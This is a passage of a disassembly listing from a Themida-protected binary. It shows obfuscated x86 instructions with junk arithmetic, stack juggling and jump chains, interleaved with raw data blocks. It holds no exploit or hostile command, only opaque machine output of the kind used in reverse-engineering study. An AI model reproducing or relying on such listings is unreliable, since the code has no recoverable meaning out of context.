mov ebp, 0B950A68h
sub ebp, 0FFFFFFFFh
jmp loc_549D24
; ---------------------------------------------------------------------------
loc_5478A5: ; CODE XREF: Themida_:00549FE8j
sub ebx, 21051E55h
jmp loc_54C4E2
; ---------------------------------------------------------------------------
dword_5478B0 dd 0E924148Bh, 7EA3h, 0CEF28059h, 613E9h, 240C8700h, 5524248Bh
; DATA XREF: Themida_:005463D4o
dd 6026D1BDh, 8BEB294Fh, 8956242Ch, 4C681E6h, 0E9000000h
dd 44F4h, 0BA52E689h, 4, 9EE9D601h, 28000040h, 4EC81D0h
dd 89000000h, 0C5B1240Ch, 5A59C800h, 0FFF934E9h
db 0FFh
byte_547905 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005463E4o
dd 1F18E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54790E: ; CODE XREF: Themida_:0054D6A6j
inc edi
dec edi
add edi, 6D0B3FA1h
mov eax, edi
pop edi
sub eax, 0B4D400Eh
jmp loc_547D8B
; ---------------------------------------------------------------------------
loc_547923: ; CODE XREF: Themida_:0054A326j
add esi, 0FC4EE9B9h
and eax, esi
pop esi
jmp loc_5475DB
; ---------------------------------------------------------------------------
db 56h, 0BEh, 5Ch
dd 81180F73h, 5A7E16C2h, 81F22941h, 5A7E16EAh, 753EE941h
dd 0CEB90000h, 31213A56h, 2434FFF1h, 4C4815Eh, 53000000h
dd 5843E9h, 4BE00h, 0C3810000h, 3C09626Ah, 0EB81F329h
dd 3C09626Ah, 4EC815Eh, 89000000h, 74FF241Ch, 34FF0424h
dd 241C8B24h, 71A0E9h, 0A4C18000h, 0AB5E9h, 0C5815D00h
dd 4, 2BB53h, 0DD010000h, 2511E9h, 0E1885100h, 0DBE9CA88h
dd 88000013h, 48B59CBh, 4C48324h, 6A68D3F6h, 8900001Fh
dd 88502414h, 58E688DCh, 5061E953h, 0C6810000h, 0A006C8Fh
dd 64B2C681h, 0F10999D3h, 0F2E9815Eh, 0E913D74Fh, 79F3h
dd 31241433h, 14332414h, 0E8EE924h, 0B60F0000h, 6764E9C8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547A02: ; CODE XREF: Themida_:0054802Bj
pop eax
push ebx
not dword ptr [esp]
mov ebx, [esp]
add esp, 4
jmp loc_54EFE4
; ---------------------------------------------------------------------------
dw 0DEB9h
dd 319DD3F3h, 0DE8959CBh, 0AA4BE95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547A22: ; CODE XREF: Themida_:0054A5F3j
push eax
mov eax, 4
mov ebx, eax
jmp loc_549BE5
; ---------------------------------------------------------------------------
loc_547A2F: ; CODE XREF: Themida_:0054B988j
and edi, 1CE154D1h
add edi, 8046355h
sub esi, edi
pop edi
jmp loc_54CB5E
; ---------------------------------------------------------------------------
loc_547A43: ; CODE XREF: Themida_:00546753j
rep movsd
jmp loc_549B3F
; ---------------------------------------------------------------------------
dw 0C268h
dd 5D7F2D71h, 32E1C581h, 74E96A16h, 10000A3h, 70E95BD8h
dd 89000049h, 98BB241Ch, 0E9502757h, 7ED5h, 33243C31h
dd 6EE9243Ch
db 0ABh, 2 dup(0)
byte_547A7B db 0FFh ; DATA XREF: Themida_:005463ACo
dd 589D1C77h, 9C240411h, 0FFEA62E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_547A89: ; CODE XREF: Themida_:0054B953j
mov eax, 64C82C65h
jmp loc_54A5F8
; ---------------------------------------------------------------------------
loc_547A93: ; CODE XREF: Themida_:0054BCEDj
pop esi
push ecx
jmp loc_549E93
; ---------------------------------------------------------------------------
dw 0EA81h
dd 36EF777Dh, 0FFBD555Fh, 29FFFFFFh, 0EA815DEAh, 9C3552Eh
dd 0AD5E9h, 6C77B800h, 442970E4h, 81580424h, 23E22404h
dd 4297421h, 242C8124h, 742123E2h, 77240481h, 6870E46Ch
dd 3949h, 56241489h, 181248BEh, 1FEE8152h, 8102083Ch, 6829FEEEh
dd 0FFC6832Fh, 9B0AE9h
db 0
; ---------------------------------------------------------------------------
loc_547AF9: ; CODE XREF: Themida_:0054B148j
xchg ebp, [esp]
pop esp
sub esp, 4
mov [esp], ecx
mov ecx, esp
sub esp, 4
mov [esp], esi
mov esi, 4
add ecx, esi
jmp loc_549625
; ---------------------------------------------------------------------------
dw 248Bh
dd 68F1F724h, 1253h, 54241C89h, 81241C8Bh, 4C4h, 4C38100h
dd 56000000h, 0FFFE24E9h, 0B7E95EFFh, 0F6000029h, 59E888D5h
dd 5866C588h, 0E925ED80h, 4EEFh, 0E9240C8Bh, 1997h, 4CEE8166h
dd 85D3E91Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547B66: ; CODE XREF: Themida_:00549634j
mov ecx, 4D05171Fh
add ebp, ecx
pop ecx
xor ebp, 93F24D45h
and eax, ebp
mov ebp, [esp]
jmp loc_551C5F
; ---------------------------------------------------------------------------
dw 0C329h
dd 5BD88958h, 616BE56h, 0F001226Ah, 0CA3E95Eh, 4810000h
dd 424h, 0B9515D00h, 48ED2BAAh, 2BAEF181h, 0CD0148EDh
dd 2C58159h, 55000000h, 6E07E9h, 0E3BB5300h, 43665932h
dd 0D3F7D3F7h, 75D8F381h, 0C3814735h, 23EFE968h, 815BDF89h
dd 0EC4D7AF7h, 255EE957h, 0C6810000h, 4, 8704EE83h, 895C2434h
dd 0B9512434h, 6DD57056h, 7DE9D1F7h
db 51h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547BF7: ; CODE XREF: Themida_:0054B110j
push eax
dec dword ptr [esp]
mov eax, [esp]
add esp, 4
not eax
add eax, 9FC71E2Fh
jmp loc_548EB1
; ---------------------------------------------------------------------------
db 0FFh, 74h, 24h
dd 0B5E95B04h, 0E9000086h, 0FFFFE8CFh
dword_547C1C dd 57E68956h, 4BFh, 0E9FE0100h, 10D3h, 23B6E68h, 0BD555860h
; DATA XREF: Themida_:0054625Co
dd 393ACE90h, 0E95DE829h, 0FFFFF35Dh
; ---------------------------------------------------------------------------
loc_547C40: ; CODE XREF: Themida_:00547DA0j
xchg edx, [edi+24h]
loc_547C43: ; CODE XREF: Themida_:0054A62Dj
push esi
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], ebx
mov eax, [esp]
jmp loc_548A80
; ---------------------------------------------------------------------------
db 59h
dd 1F60E9h, 764DBE00h, 0F6814FCDh, 581F16D2h, 5206EEC1h
dd 376CAFBAh, 69CA814Ah, 81036547h, 0D71F6AEAh, 6EAC113h
dd 0CCDCC281h, 0D60118F6h, 989CE9h, 4C78100h, 87000000h
dd 32E9243Ch
db 6Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547CAB: ; CODE XREF: Themida_:0054EEC0j
push 4869h
mov [esp], edi
mov edi, 7B0555BCh
inc edi
shr edi, 7
inc edi
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebx
mov ebx, 795F3379h
not ebx
xor ebx, 25E24E5Fh
jmp loc_5517EC
; ---------------------------------------------------------------------------
dw 2868h
dd 89000018h, 0ECE9241Ch, 0E9000012h, 0FFFFE7F7h, 4C481h
dd 34FF0000h, 0C4815924h, 4, 0FFE7E2E9h, 28BE04FFh, 5BBE2CD8h
dd 8F45E9h, 4C18100h, 83000000h, 0C8704C1h, 22E95C24h
dd 100002Bh, 10F9E9FAh, 0E9810000h, 0DB9DBC4h, 2437E9h
db 0
byte_547D39 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00546264o
dd 0E6895624h, 4EC81h, 3C890000h, 593BE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547D4E: ; CODE XREF: Themida_:00551E55j
mov esi, esp
add esi, 4
push edx
mov edx, 10EC1544h
inc edx
dec edx
sub edx, 10EC1540h
add esi, 3DF16A68h
jmp loc_54F842
; ---------------------------------------------------------------------------
aUs0 db 'UИв0',0
db 0
; ---------------------------------------------------------------------------
loc_547D75: ; CODE XREF: Themida_:00546815j
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_54EA83
; ---------------------------------------------------------------------------
loc_547D8B: ; CODE XREF: Themida_:0054791Ej
xor eax, 7315574Fh
sub eax, 1
xor eax, 10AAA8F1h
add eax, edi
xor [eax], edx
pop eax
inc edx
jmp loc_547C40
; ---------------------------------------------------------------------------
db 8Bh, 34h, 24h
dd 4C481h, 3C330000h, 243C3124h, 8B243C33h, 0D3662424h
dd 0E99C2404h, 0FFFFE727h
dword_547DC4 dd 582434FFh, 56F68h, 736BE900h ; DATA XREF: Themida_:005462B0o
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547DD2: ; CODE XREF: Themida_:0054ED28j
pop edx
xor bh, al
pop eax
sub dl, bh
push dword ptr [esp]
pop ebx
add esp, 4
push ebx
mov bh, 3Bh
inc bh
neg bh
shl bh, 8
add bh, 30h
sub al, bh
pop ebx
sub al, dl
add al, 30h
pop edx
push 2675h
mov [esp], ecx
mov cl, 7Fh
shr cl, 5
shr cl, 1
push bx
push 3F5Ch
mov [esp], eax
jmp loc_551A49
; ---------------------------------------------------------------------------
loc_547E12: ; CODE XREF: Themida_:005466A9j
push 38922AD1h
pop eax
jmp loc_546880
; ---------------------------------------------------------------------------
db 0F7h, 0D6h, 0C1h
dd 0CE8107EEh, 754E0812h, 0E6C1DEF7h, 4CEE8104h, 0E9A20D40h
dd 6CC4h, 0A807E955h, 0C6810000h, 4, 0E904C683h, 81DCh
aN1Sscr db '╜1ьSИ√R',0 ; DATA XREF: Themida_:00546458o
dd 4C68100h, 0E9000000h, 6519h, 7CE9EA00h, 1000055h, 7EBF57C8h
dd 2D17D22Ah, 4CC030FFh, 3EABE9h, 5AD52900h, 4635E9h
db 0
; ---------------------------------------------------------------------------
loc_547E81: ; CODE XREF: Themida_:0054AA46j
xor edi, 7CFF7E7Dh
and eax, edi
mov edi, [esp]
add esp, 4
shr eax, 8
xor eax, ecx
jmp loc_54774D
; ---------------------------------------------------------------------------
dd 24343359h, 33243431h, 5E92434h, 100005Fh, 0BE565AD1h
dd 4, 875EF101h, 248B240Ch, 2434FF24h, 8324148Bh, 895604C4h
dd 33B951E6h, 0E928F259h, 3CBBh, 8861F280h, 26E95AD0h
dd 1FFFFF1h, 0C2835DEAh, 24148704h, 0E5FDE95Ch, 0F659FFFFh
dd 80CAFED2h, 19B776C2h, 2AE9D728h, 8B000074h, 0C481240Ch
dd 4, 4C181h, 0C1810000h, 4, 0E9240C33h, 66B7h, 46DEF75Fh
dd 0EF20E946h, 0F766FFFFh, 0EA8166DAh, 8966F6B0h, 46665AD6h
dd 1FEE8166h, 460BE9B3h, 0C8B0000h, 8B03E924h, 68570000h
dd 7D3403BBh, 93BB535Fh, 317D3403h, 0F8895BDFh, 2824E9h
dd 8BD03100h, 0C4832414h, 0D1C38104h, 814F6026h, 0AF711CC3h
dd 8FEB8160h, 0E90DA96Fh, 774Ch, 5D59CA31h, 88D5BD55h
dd 0EA81FB11h, 6A5E2ED1h, 19A4E9h, 24348B00h, 8F04C483h
dd 248B2404h, 4979E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547FA2: ; CODE XREF: Themida_:00549B47j
mov [esp], eax
push 5F39h
jmp loc_548A95
; ---------------------------------------------------------------------------
db 0FEh
dd 35CB80C3h, 3008EB80h, 0ED805BDDh, 0E9D5F601h, 1873h
dd 67C8B951h, 0ADE91B93h, 31FFFFFFh, 97E9240Ch, 57000008h
dd 0A84E3EBFh, 7EFABE22h, 0FE3104A3h, 0FFFF33E9h, 35B753FFh
dd 20E9CFFEh
db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547FF3: ; CODE XREF: Themida_:00551698j
push esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
push ebx
mov ebx, 0ABB7889h
shl ebx, 2
push 46B7h
mov [esp], eax
push esi
mov esi, 2B3431A2h
mov eax, 4E732C22h
add eax, esi
mov esi, [esp]
add esp, 4
and ebx, eax
jmp loc_547A02
; ---------------------------------------------------------------------------
loc_548030: ; CODE XREF: Themida_:0054E535j
pop esi
mov ecx, edi
push dword ptr [esp]
pop edi
add esp, 4
and eax, ecx
mov ecx, [esp]
jmp loc_54B6E7
; ---------------------------------------------------------------------------
db 81h
dd 9D0E7BEBh, 61BA522Ah, 0E9400E02h, 348Bh
; ---------------------------------------------------------------------------
loc_548058: ; CODE XREF: Themida_:0054851Dj
xor eax, 5C9F68A8h
xor eax, 4AA7152Eh
jmp loc_54EA38
; ---------------------------------------------------------------------------
loc_548067: ; CODE XREF: Themida_:0054AAB9j
mov ecx, 0D4447BEh
xor [esp+4], ecx
pop ecx
push dword ptr [esp]
pop eax
push edi
jmp loc_54F045
; ---------------------------------------------------------------------------
db 83h
dd 3E6804C4h, 8900007Ah, 8B542434h, 0C4832434h, 8208E904h
dd 66530000h, 6639C568h, 0EBC1665Bh, 0EB816606h, 8966BC77h
dd 0C1665BDEh, 0EC8102EEh, 4, 66240489h, 571CE1B8h, 44A3BF66h
dd 52EF8166h, 0EF816658h, 3166B2C3h, 66515FF8h, 6635A9B9h
dd 302EF181h, 82BCE9h, 0F8E95600h, 2DFFFFFEh, 6AAA7843h
dd 79E9D801h, 53FFFFF7h, 0D82F01BBh, 45E9524Eh, 8700006Bh
dd 0E92404h
db 26h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5480FF: ; CODE XREF: Themida_:00549818j
mov edx, ecx
mov ebp, edx
jmp loc_54C08F
; ---------------------------------------------------------------------------
aPXXse8 db 'P╟X фXИE8',0
dw 100h
dd 48B5DEBh, 0E0895024h, 405h, 4A1BE900h, 0F5800000h, 3AB353A2h
dd 0BCF380h, 9D24E9DDh, 0C5890000h, 3CE95658h, 68000032h
dd 3E2Ah, 24048F54h, 4240481h, 8B000000h, 5D68241Ch, 89000012h
dd 0E189240Ch, 4C181h, 0C1810000h, 4, 5C240C87h, 4BD55h
dd 13E90000h, 8B00004Ch, 0C6012424h, 3AF5E9h, 0E0C14800h
dd 1C08307h, 0BD55D8F7h, 0BA30549Ch, 295DE831h, 555A58C6h
dd 2BDh, 5DEE0100h, 8B243487h, 24D32424h, 0C0E99C24h, 81000044h
dd 2E72BFE5h, 0FBED814Eh, 1C647A4h, 0CB895DE9h, 0FFFD79E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5481C5: ; CODE XREF: Themida_:00551021j
push dword ptr [ebx]
push dword ptr [esp]
jmp loc_550F1F
; ---------------------------------------------------------------------------
db 0B6h
dd 51506687h, 57E973B5h
db 0Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5481DB: ; CODE XREF: Themida_:0054CA6Dj
pop eax
mov eax, ebp
jmp loc_54B174
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4832414h, 4EC8104h, 0E9000000h, 23ACh, 0BF243C89h
dd 4, 875FFB29h, 92E9241Ch, 8B00004Fh, 0E9572404h, 0FFFFEC55h
dd 241C335Ch, 33241C31h, 3DE9241Ch
db 0F1h, 2 dup(0FFh)
byte_54821F db 0FFh ; DATA XREF: Themida_:0054646Co
dd 0C8B2434h, 4C48324h, 8023E9h, 6AE95600h
db 85h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_548233: ; CODE XREF: Themida_:0054B8D0j
mov ebp, 60AC6201h
dec ebp
and ebp, 319E7BDBh
add ebp, 0FB24827Eh
xor ebx, ebp
pop ebp
add eax, ebx
pop ebx
push esi
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebx
sub esp, 4
mov [esp], edx
mov edx, 6F8962FDh
shr edx, 6
xor edx, 164B7F25h
push ebp
jmp loc_5504F1
; ---------------------------------------------------------------------------
aIHvx db '┴<$h┌x',0
dd 24248900h, 4240481h, 5F000000h, 4B951h, 0CF010000h
dd 51240C8Bh, 0C181E189h, 4, 4BB53h, 0D9010000h, 240C875Bh
dd 796AE9h
db 0
; ---------------------------------------------------------------------------
loc_5482B1: ; CODE XREF: Themida_:0054F00Ej
push eax
jmp loc_5511BB
; ---------------------------------------------------------------------------
db 5Ch
dd 4C481h, 0C6810000h, 4, 5602C683h, 42474FFh, 0FFFCC0E9h
db 0FFh
byte_5482D1 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005463C0o
aHb db '$h│\',0
align 2
aISzc db '┴,$И┤C',0
align 2
dw 0BB53h
dd 647B6860h, 8103EBC1h, 0FC4846E3h, 5F686865h, 3C890000h
dd 0DCFBF24h, 0EFD13242h, 3A89C781h, 28E9451Ah, 66000009h
dd 5468665Bh, 1489662Eh, 0E9535024h, 309Bh
; ---------------------------------------------------------------------------
loc_54831C: ; CODE XREF: Themida_:0054F670j
shl ebx, 5
shl ebx, 2
push 4B85h
mov [esp], ebp
push edi
push 669C2CA0h
pop edi
not edi
shl edi, 5
shr edi, 1
add edi, 0F18BF99Fh
jmp loc_5513B1
; ---------------------------------------------------------------------------
loc_548343: ; CODE XREF: Themida_:0054D12Dj
shr eax, 0Ch
xor eax, ecx
push 262h
mov [esp], eax
push 4C97h
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_54E83E
; ---------------------------------------------------------------------------
db 0BEh, 0D4h, 59h
dd 4FE90FBBh, 83FFFFE2h, 0C38104C4h, 4, 4C381h, 1C870000h
dd 4581E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_548386: ; CODE XREF: Themida_:00550115j
xor eax, ebp
pop ebp
push ebp
jmp loc_54F978
; ---------------------------------------------------------------------------
byte_54838F db 66h ; DATA XREF: Themida_:00546228o
dd 68240C8Bh, 768Bh, 0E9241C89h, 3D42h
; ---------------------------------------------------------------------------
loc_5483A0: ; CODE XREF: Themida_:0054F453j
mov ebx, 390E1A47h
xchg edx, ebx
not edx
xchg edx, ebx
inc ebx
push edi
mov edi, 1
sub ebx, 50D4335Ah
add ebx, edi
add ebx, 50D4335Ah
pop edi
jmp loc_549A5B
; ---------------------------------------------------------------------------
dw 0BD55h
dd 48230B8Ah, 0CB5F862Dh, 0E9E82901h, 22E1h
; ---------------------------------------------------------------------------
loc_5483D8: ; CODE XREF: Themida_:0054AB59j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ebp
mov ebp, esp
jmp loc_54BAEB
; ---------------------------------------------------------------------------
dd 2B8h, 58C70100h, 0E9243C87h, 3D6Dh
; ---------------------------------------------------------------------------
loc_5483FC: ; CODE XREF: Themida_:0054EE62j
pop ebp
jmp loc_546CD8
; ---------------------------------------------------------------------------
loc_548402: ; CODE XREF: Themida_:0054AEB2j
xor ebp, 7EA9CA10h
push ebp
pop esi
jmp loc_54B817
; ---------------------------------------------------------------------------
loc_54840F: ; CODE XREF: Themida_:0054746Bj
add edi, 4
jmp loc_54AEEE
; ---------------------------------------------------------------------------
dw 0EC83h
dd 24348904h, 2BEh, 0F4E95100h, 56000002h, 982928BEh, 5EF0015Ch
dd 282DC801h, 595C9829h, 0C1C68h, 240C8900h, 639FE957h
dd 525B0000h, 490EE9h, 7DB22D00h, 0D0296B71h, 717DB205h
dd 0D8295A6Bh, 942AE9h, 0ECE95000h
db 48h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54846B: ; CODE XREF: Themida_:0054DF49j
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebx
mov ebx, esp
jmp loc_54CB6F
; ---------------------------------------------------------------------------
dd 0B3B85053h, 0C1183C32h, 0E8C103E8h, 3E8C104h, 964A490Dh
dd 49230555h, 0C8E96706h, 50000069h, 73C2E9h
db 0
; ---------------------------------------------------------------------------
loc_5484A5: ; CODE XREF: Themida_:0054D634j
push dword ptr [esp]
pop eax
push 7BA3h
jmp loc_551646
; ---------------------------------------------------------------------------
aNvsR db '╜VИ\R',0 ; DATA XREF: Themida_:0054639Co
align 2
loc_5484BA: ; CODE XREF: Themida_:0054952Dj
add eax, edx
mov edx, [esp]
add esp, 4
add eax, 4
xchg eax, [esp]
pop esp
push dword ptr [edi+eax*4]
mov eax, [esp]
push ecx
sub esp, 4
push esp
jmp loc_54F458
; ---------------------------------------------------------------------------
loc_5484DE: ; CODE XREF: Themida_:0054A490j
add esp, 2
neg cl
and cl, 63h
push ebx
mov bl, 74h
add bl, 79h
jmp loc_550CB9
; ---------------------------------------------------------------------------
db 68h, 31h, 6Ah
dd 14890000h, 1BB45024h, 0E904E4C0h, 79h
; ---------------------------------------------------------------------------
loc_548504: ; CODE XREF: Themida_:0054DAB2j
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], esi
push eax
mov eax, 606342E1h
shr eax, 2
jmp loc_548058
; ---------------------------------------------------------------------------
word_548522 dw 2C31h ; DATA XREF: Themida_:00546210o
dd 242C3324h, 2613E9h, 242CD300h, 0DFB5E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548536: ; CODE XREF: Themida_:00549EFFj
mov [esp], eax
mov eax, esp
jmp loc_54F20D
; ---------------------------------------------------------------------------
dd 53242489h, 4BBh, 245C0100h, 348B5B04h, 4C48324h, 0FFF8DFE9h
dd 243C87FFh, 0FFEB15E9h, 2434FFFFh, 5324048Bh, 0EC81E389h
dd 4, 0BD242C89h, 0C302DEBh, 0FFE4CBE9h, 80CCFEFFh, 0F48085CCh
dd 91CEE963h, 0C2810000h, 0FC20332Dh, 295AD789h, 0EEEE9FBh
dd 58660000h, 9044E9h
db 0
; ---------------------------------------------------------------------------
loc_5485A1: ; CODE XREF: Themida_:0054B073j
add ebp, 235B56FBh
sub ebp, eax
sub ebp, 235B56FBh
jmp loc_54F44E
; ---------------------------------------------------------------------------
dd 0CCB60F66h, 36196866h, 240C8966h, 0C8B60F66h, 0E99C5166h
dd 0FFFFDF1Fh, 4BD55h, 8E90000h
db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5485D7: ; CODE XREF: Themida_:0054B8A7j
or ecx, ebx
jmp loc_54B39A
; ---------------------------------------------------------------------------
dw 8159h
dd 4C1h, 4E98300h, 5C240C87h, 9C43E9h, 0F2875900h, 0F287DEF7h
dd 4208EAC1h, 0C283E2D1h, 0A1EA81FFh, 101CC5Bh, 2FE95AD5h
db 5Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54860F: ; CODE XREF: Themida_:005465B2j
and ebx, 0F642DC6h
push ecx
mov ecx, 28256FDBh
jmp loc_547779
; ---------------------------------------------------------------------------
dd 505AF530h, 0C628C1B0h, 80EE0058h, 3059C1C6h, 0B2525AF0h
dd 5AD30042h, 6AB05066h, 285AEB80h, 5AC380C3h, 0EB805866h
dd 80C32885h, 0C38085C3h, 9FB2526Ah, 2AE95351h, 5900003Bh
dd 46B9C381h, 0DBF73889h, 0C381D3F7h, 5CF65F71h, 562E9h
dd 24048900h, 0E130D1B4h, 4F06E958h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54867E: ; CODE XREF: Themida_:0054B33Cj
pop ebx
loc_54867F: ; CODE XREF: Themida_:0054DCADj
; Themida_:loc_54FB9Bj
push dword ptr [edi+24h]
push eax
push ebp
push 643C2D2Fh
pop ebp
push ebx
mov ebx, 0CF94F45h
jmp loc_549DB5
; ---------------------------------------------------------------------------
db 68h, 0EDh, 4Eh
dd 81591167h, 674EE9E9h, 0BAE95111h
db 9Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5486A7: ; CODE XREF: Themida_:0054EC6Aj
inc eax
dec eax
jmp loc_54DA7E
; ---------------------------------------------------------------------------
loc_5486AE: ; CODE XREF: Themida_:0055057Dj
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
push ebx
push 5A0C3316h
jmp loc_54DFF4
; ---------------------------------------------------------------------------
db 31h, 0F7h, 5Eh
dd 0EF81D7F7h, 0C70486E2h, 815FFB01h, 4C3h, 74FF5300h
dd 8F5B0424h, 0E95C2404h, 0FFFFDDFFh, 0E9240C89h, 1A10h
dd 5702EDC1h, 9FA6E9h
db 0
; ---------------------------------------------------------------------------
loc_5486FD: ; CODE XREF: Themida_:00546F91j
add esp, 4
push eax
jmp loc_54B10B
; ---------------------------------------------------------------------------
db 81h, 0C6h, 7Bh
dd 1AFCF77h, 0DD015EF5h, 576FED81h, 36E95FBFh, 0B900006Ch
dd 0F0C5921h, 5DB8E981h, 0E98130EAh, 511D4BAAh, 7E04F181h
dd 0E9810394h, 5E1475A7h, 8F18149h, 12D380Dh, 0DE04E9CAh
db 2 dup(0FFh)
word_54874A dw 77FFh ; DATA XREF: Themida_:00546238o
dd 58669D1Ch, 24041166h, 0DD91E99Ch, 0C481FFFFh, 4, 8B24048Fh
dd 0F662424h, 9C2404BBh, 0FFDD7AE9h, 4E981FFh, 894B6F4Eh
dd 0FE73E9CAh, 0B951FFFFh, 444B1875h, 23FBF181h, 0C18118A3h
dd 404B5434h, 0E981D1F7h, 62CC7039h, 960AE9h
db 0
byte_54879D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00546408o
dd 0E87EE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5487A6: ; CODE XREF: Themida_:005464ECj
add al, 58h
sub al, 3Ch
jmp loc_546696
; ---------------------------------------------------------------------------
db 8Bh
dd 0E9522424h, 0FFFFFA17h
dword_5487B8 dd 0E924248Bh, 0FFFFDD2Bh, 8836B652h, 0D5005AF5h, 1C01E95Ah
; DATA XREF: Themida_:00546390o
dd 0D1490000h, 35C181E9h, 0E95F449Ah, 16E4h, 2046F181h
dd 0E98113CBh, 51A91B84h, 1DC6C981h, 0E0E929A7h, 5B000059h
dd 59F768h, 24348900h, 9054E9h
db 0
byte_548801 db 64h, 66h, 8Bh ; DATA XREF: Themida_:005463B0o
dd 3AABE902h, 0EFC10000h, 205AE905h, 0BE560000h, 2, 6DBB5351h
dd 81655640h, 7355BACBh, 43E3D10Bh, 5A4FC381h, 0D9899EE7h
dd 1607E9h, 42870500h, 0C22922FAh, 9F22E9h, 81EA0100h
dd 0C17C71C2h, 242C8B68h, 94DAE9h, 24148B00h, 74D768h
dd 24048900h, 405E089h, 0E9000000h, 1A22h
; ---------------------------------------------------------------------------
loc_548868: ; CODE XREF: Themida_:00547071j
push edi
jmp loc_54CCB4
; ---------------------------------------------------------------------------
dw 0C33h
dd 24248B24h, 0E9241489h, 96C2h
; ---------------------------------------------------------------------------
loc_54887C: ; CODE XREF: Themida_:00551BA4j
pop ebp
sub ebp, 7BD523Dh
jmp loc_54B065
; ---------------------------------------------------------------------------
dd 0D224248Bh, 0E99C242Ch, 0FFFFDC57h, 0C5E910B7h, 8700004Dh
dd 248B2404h, 242C8924h, 0B8DF4BDh, 8FBE5600h, 81596F40h
dd 84F681EEh, 5EF02926h, 966BA62Dh, 51FAE90Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5488C2: ; CODE XREF: Themida_:0054CD2Dj
add ebx, 4
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
jmp loc_54FC90
; ---------------------------------------------------------------------------
loc_5488DF: ; CODE XREF: Themida_:00547334j
push ecx
mov ecx, esp
push ebp
jmp loc_55039F
; ---------------------------------------------------------------------------
loc_5488E8: ; CODE XREF: Themida_:005469A7j
mov edi, 0D400A035h
add eax, edi
mov edi, [esp]
add esp, 4
sub eax, 3F550CC4h
add eax, edi
push ebx
mov ebx, 3F550CC4h
jmp loc_54A163
; ---------------------------------------------------------------------------
byte_548907 db 66h ; DATA XREF: Themida_:00546278o
dd 8124048Bh, 4ECh, 24348900h, 6368E689h, 89000078h, 69B9240Ch
dd 5121547Fh, 592414F7h, 0E9C1D1F7h, 4EC8304h, 0BE243489h
dd 4D681C2Ch, 66B9514Eh, 0C10F3847h, 0C18108E1h, 0F647C22Fh
dd 4FA3E9h
db 0
; ---------------------------------------------------------------------------
loc_54894D: ; CODE XREF: Themida_:00550352j
push ebx
mov ebx, esp
jmp loc_549DF0
; ---------------------------------------------------------------------------
byte_548955 db 68h, 85h, 7Dh ; DATA XREF: Themida_:0054633Co
dd 24890000h, 3DA26824h, 34890000h, 4BE24h, 44810000h
dd 2A480424h, 740124A1h, 6C810424h, 2A480424h, 49E924A1h
dd 0FF00001Fh, 348B2434h, 4C48124h, 51000000h, 571CE9h
db 0
byte_548995 db 8Bh, 4, 24h ; DATA XREF: Themida_:0054636Co
dd 8904EC83h, 5954240Ch, 87EAE9h, 82E95C00h, 81FFFFFBh
dd 4ECh, 24148900h, 0C6807AB6h, 0E9D6F6FFh, 44A7h
dword_5489C0 dd 0E932FF66h, 0FFFFDB23h ; DATA XREF: Themida_:00546370o
; ---------------------------------------------------------------------------
loc_5489C8: ; CODE XREF: Themida_:0054A6B4j
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
jmp loc_54DCA8
; ---------------------------------------------------------------------------
db 0BFh, 2 dup(30h)
dd 0F93109A4h, 81243C8Bh, 4C4h, 5F250500h, 0C8010B5Ah
dd 5A5F252Dh, 240C8B0Bh, 4C481h, 2050000h, 50000000h, 42474FFh
dd 24048F58h, 48B665Ch, 0E2895224h, 292CE9h, 41696800h
dd 0A4E90000h, 0BD000001h, 77437CAh, 215DEA89h, 0CDE95AD6h
dd 89000082h, 0FF542404h, 0E9582434h, 2EEEh, 273CCE81h
dd 0F6810369h, 271A637Eh, 0D2DEE81h, 0F301D02Dh, 0DC8E9h
db 0
; ---------------------------------------------------------------------------
loc_548A55: ; CODE XREF: Themida_:0054EC05j
add esp, 4
add ecx, eax
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
add ecx, 0FEE119B8h
and eax, ecx
pop ecx
shr eax, 0Ah
